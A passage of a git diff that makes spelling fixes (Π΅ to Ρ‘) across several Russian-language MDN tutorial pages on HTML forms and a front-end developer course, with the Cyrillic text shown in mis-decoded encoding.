@@ -14,7 +14,7 @@ original_slug: Learn/HTML/Forms/Styling_HTML_forms
<p>НСсколько Π»Π΅Ρ‚ спустя Π±Ρ‹Π» создан CSS, ΠΈ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ тСхничСской Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ использованиС собствСнных Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ элСмСнтов управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ, стало Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΊ ΡΡ‚ΠΈΠ»ΡŽ. Π’ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π½ΠΈ CSS, стилизация элСмСнтов управлСния Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π΅ Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠΌ.</p>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΊ Π²Π½Π΅ΡˆΠ½Π΅ΠΌΡƒ Π²ΠΈΠ΄Ρƒ своих ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ, поставщики Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ΠΎΡ…ΠΎΡ‚Π½ΠΎ Π΄Π΅Π»Π°ΡŽΡ‚ элСмСнты управлСния Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ стилСвыми; ΠΈ ΠΏΠΎ сСй дСнь всС Π΅Ρ‰Π΅ Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ всС элСмСнты управлСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… стилизованными.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΊ Π²Π½Π΅ΡˆΠ½Π΅ΠΌΡƒ Π²ΠΈΠ΄Ρƒ своих ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ, поставщики Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π½Π΅ΠΎΡ…ΠΎΡ‚Π½ΠΎ Π΄Π΅Π»Π°ΡŽΡ‚ элСмСнты управлСния Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ стилСвыми; ΠΈ ΠΏΠΎ сСй дСнь всС Π΅Ρ‰Ρ‘ Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ всС элСмСнты управлСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… стилизованными.</p>
<p>Π”Π°ΠΆΠ΅ сСгодня Π½ΠΈ ΠΎΠ΄ΠΈΠ½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ CSS 2.1. Однако со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ поставщики Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΡƒΠ»ΡƒΡ‡ΡˆΠΈΠ»ΠΈ свою ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ CSS для элСмСнтов Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈ, нСсмотря Π½Π° ΠΏΠ»ΠΎΡ…ΡƒΡŽ Ρ€Π΅ΠΏΡƒΡ‚Π°Ρ†ΠΈΡŽ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ удобства использования, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для стилизации <a href="/en-US/docs/HTML/Forms">HTML Ρ„ΠΎΡ€ΠΌ</a>.</p>
@@ -37,7 +37,7 @@ original_slug: Learn/HTML/Forms/Styling_HTML_forms
<h4 id="ΠŸΠ»ΠΎΡ…Π°Ρ">ΠŸΠ»ΠΎΡ…Π°Ρ</h4>
-<p>НСкоторыС элСмСнты Ρ€Π΅Π΄ΠΊΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ стилизованы, ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… слоТных ΡƒΠ»ΠΎΠ²ΠΎΠΊ, ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉ CSS3.</p>
+<p>НСкоторыС элСмСнты Ρ€Π΅Π΄ΠΊΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ стилизованы, ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… слоТных ΡƒΠ»ΠΎΠ²ΠΎΠΊ, ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉ CSS3.</p>
<p>Они Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя элСмСнт {{HTMLElement ("legend")}}, Π½ΠΎ Π΅Π³ΠΎ нСльзя ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π½Π° всСх ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Π€Π»Π°ΠΆΠΊΠΈ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ стилизованы Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, ΠΎΠ΄Π½Π°ΠΊΠΎ, благодаря CSS3 Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это. ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ {{htmlattrxref ("placeholder", "input")}} Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ стилизован ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ стандартным способом, ΠΎΠ΄Π½Π°ΠΊΠΎ всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚, Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ собствСнныС псСвдо-элСмСнты CSS ΠΈΠ»ΠΈ псСвдоклассы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
diff --git a/files/ru/learn/forms/your_first_form/index.html b/files/ru/learn/forms/your_first_form/index.html
index 1a0a82e00c..c6dfa3b2b7 100644
--- a/files/ru/learn/forms/your_first_form/index.html
+++ b/files/ru/learn/forms/your_first_form/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/HTML/Forms/Π’Π°ΡˆΠ°_пСрвая_HTML_Ρ„ΠΎΡ€ΠΌΠ°
<p><strong>Π’Π΅Π±-Ρ„ΠΎΡ€ΠΌΡ‹</strong>Β β€” ΠΈΡ… Ρ‚Π°ΠΊΠΆΠ΅ часто Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β <strong>HTML-Ρ„ΠΎΡ€ΠΌΡ‹</strong>Β β€” состоят ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…Β <strong>элСмСнтов управлСния Ρ„ΠΎΡ€ΠΌ</strong>Β (ΠΈΠ½ΠΎΠ³Π΄Π° ΠΈΡ… Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β <strong>Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ</strong>) ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов для структурирования Ρ„ΠΎΡ€ΠΌΡ‹. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ управлСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ однострочныС ΠΈΠ»ΠΈ многострочныС тСкстовыС поля, Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠ΅ списки, ΠΊΠ½ΠΎΠΏΠΊΠΈ, чСкбоксы, Ρ€Π°Π΄ΠΈΠΎΠΊΠ½ΠΎΠΏΠΊΠΈ, Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Ρ‡Π΅Ρ€Π΅Π· html-элСмСнт {{htmlelement("input")}}, ΠΎΠ΄Π½Π°ΠΊΠΎ Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΎΠΆΠ΅ стоит ΡƒΠ·Π½Π°Ρ‚ΡŒ.</p>
-<p>Π’ элСмСнтах управлСния Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Ρ‹ (<strong>валидация Ρ„ΠΎΡ€ΠΌ</strong>), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊ Π½ΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ тСкстовыС строки, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ эти элСмСнты для зрячих ΠΈ нСзрячих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
+<p>Π’ элСмСнтах управлСния Ρ„ΠΎΡ€ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Ρ‹ (<strong>валидация Ρ„ΠΎΡ€ΠΌ</strong>), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊ Π½ΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ тСкстовыС строки, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ эти элСмСнты для зрячих ΠΈ нСзрячих ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
<h2 id="ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Ρ„ΠΎΡ€ΠΌΡ‹">ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹</h2>
@@ -116,7 +116,7 @@ original_slug: Learn/HTML/Forms/Π’Π°ΡˆΠ°_пСрвая_HTML_Ρ„ΠΎΡ€ΠΌΠ°
<ul>
<li>Π’ нашСм простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ {{HTMLelement("input/text")}} для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ поля Π²Π²ΠΎΠ΄Π°Β β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°. Оно прСдставляСт однострочноС тСкстовоС ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ значСния.</li>
- <li>Для Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ поля Π²Π²ΠΎΠ΄Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ‚ΠΈΠΏ {{HTMLelement("input/email")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой однострочноС тСкстовоС ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС значСния ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ составлСнный e-mail адрСс. Он Π΄Π΅Π»Π°Π΅Ρ‚ простоС тСкстовоС ΠΏΠΎΠ»Π΅ "ΡƒΠΌΠ½Ρ‹ΠΌ", позволяя ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌΒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΡΡ‚ΡŒ. Π’Π°ΠΊΠΆΠ΅ это позволяСт ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ подходящиС для Π²Π²ΠΎΠ΄Π° e-mail адрСса клавиатуры (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с символом @ ΠΏΡ€ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠΉ раскладкС) Π½Π° устройствах с динамичСской ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ смартфоны. Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΡ€ΠΎ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Ρ„ΠΎΡ€ΠΌ Π΄Π°Π»Π΅Π΅Β Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/ru/docs/Learn/HTML/Forms/Валидация_Ρ„ΠΎΡ€ΠΌΡ‹" title="/en-US/docs/HTML/Forms/Data_form_validation">Валидация Ρ„ΠΎΡ€ΠΌΡ‹</a>.</li>
+ <li>Для Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ поля Π²Π²ΠΎΠ΄Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ‚ΠΈΠΏ {{HTMLelement("input/email")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой однострочноС тСкстовоС ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС значСния ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ составлСнный e-mail адрСс. Он Π΄Π΅Π»Π°Π΅Ρ‚ простоС тСкстовоС ΠΏΠΎΠ»Π΅ "ΡƒΠΌΠ½Ρ‹ΠΌ", позволяя ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌΒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΡΡ‚ΡŒ. Π’Π°ΠΊΠΆΠ΅ это позволяСт ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ подходящиС для Π²Π²ΠΎΠ΄Π° e-mail адрСса клавиатуры (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с символом @ ΠΏΡ€ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠΉ раскладкС) Π½Π° устройствах с динамичСской ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€ΠΎΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ смартфоны. Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΡ€ΠΎ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Ρ„ΠΎΡ€ΠΌ Π΄Π°Π»Π΅Π΅Β Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/ru/docs/Learn/HTML/Forms/Валидация_Ρ„ΠΎΡ€ΠΌΡ‹" title="/en-US/docs/HTML/Forms/Data_form_validation">Валидация Ρ„ΠΎΡ€ΠΌΡ‹</a>.</li>
</ul>
<p>ПослСднСС, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎΠ΅, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ синтаксиса Ρƒ HTML-элСмСнтов <code>&lt;input&gt;</code>Β ΠΈΒ <code>&lt;textarea&gt;&lt;/textarea&gt;</code>. Π­Ρ‚ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· странностСй HTML. Π’Π΅Π³Β <code>&lt;input&gt;</code>Β β€” это пустой элСмСнт, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ½ Π½Π΅ нуТдаСтся Π² Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ Ρ‚Π΅Π³Π΅.Β  {{HTMLElement("textarea")}} β€” это нСпустой элСмСнт,Β Ρ‡Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€ΠΈ использовании ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· свойств Ρ„ΠΎΡ€ΠΌ: опрСдСлСния значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Для опрСдСлСния Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ значСния для HTML-элСмСнта {{HTMLElement("input")}}Β Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>value</code> ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
diff --git a/files/ru/learn/front-end_web_developer/index.html b/files/ru/learn/front-end_web_developer/index.html
index f70a9e40b4..b2a85fadb9 100644
--- a/files/ru/learn/front-end_web_developer/index.html
+++ b/files/ru/learn/front-end_web_developer/index.html
@@ -12,7 +12,7 @@ original_slug: Learn/Π€Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ
<br>
Π”ΠΎΠ±Ρ€ΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°Ρ‚ΡŒ на курс обучСния Π€Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°!<br>
<br>
- Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ структурированный курс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΡƒΡ‡ΠΈΡ‚ вас всСму, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚Π°Ρ‚ΡŒ Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ. Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π² Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΠΎΠΌ порядкС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ, ΠΈΠ»ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ΡΡ. Π’Π°ΠΊΠΆΠ΅ Π²Β ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ упраТнСния ΠΈ тСсты. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π΅ΠΌΠ΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ сСбя.</p>
+ Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ структурированный курс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΡƒΡ‡ΠΈΡ‚ вас всСму, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚Π°Ρ‚ΡŒ Ρ„Ρ€ΠΎΠ½Ρ‚Π΅Π½Π΄ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ. Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π² Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌΠΎΠΌ порядкС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ, ΠΈΠ»ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ΡΡ. Π’Π°ΠΊΠΆΠ΅ Π²Β ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ упраТнСния ΠΈ тСсты. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ 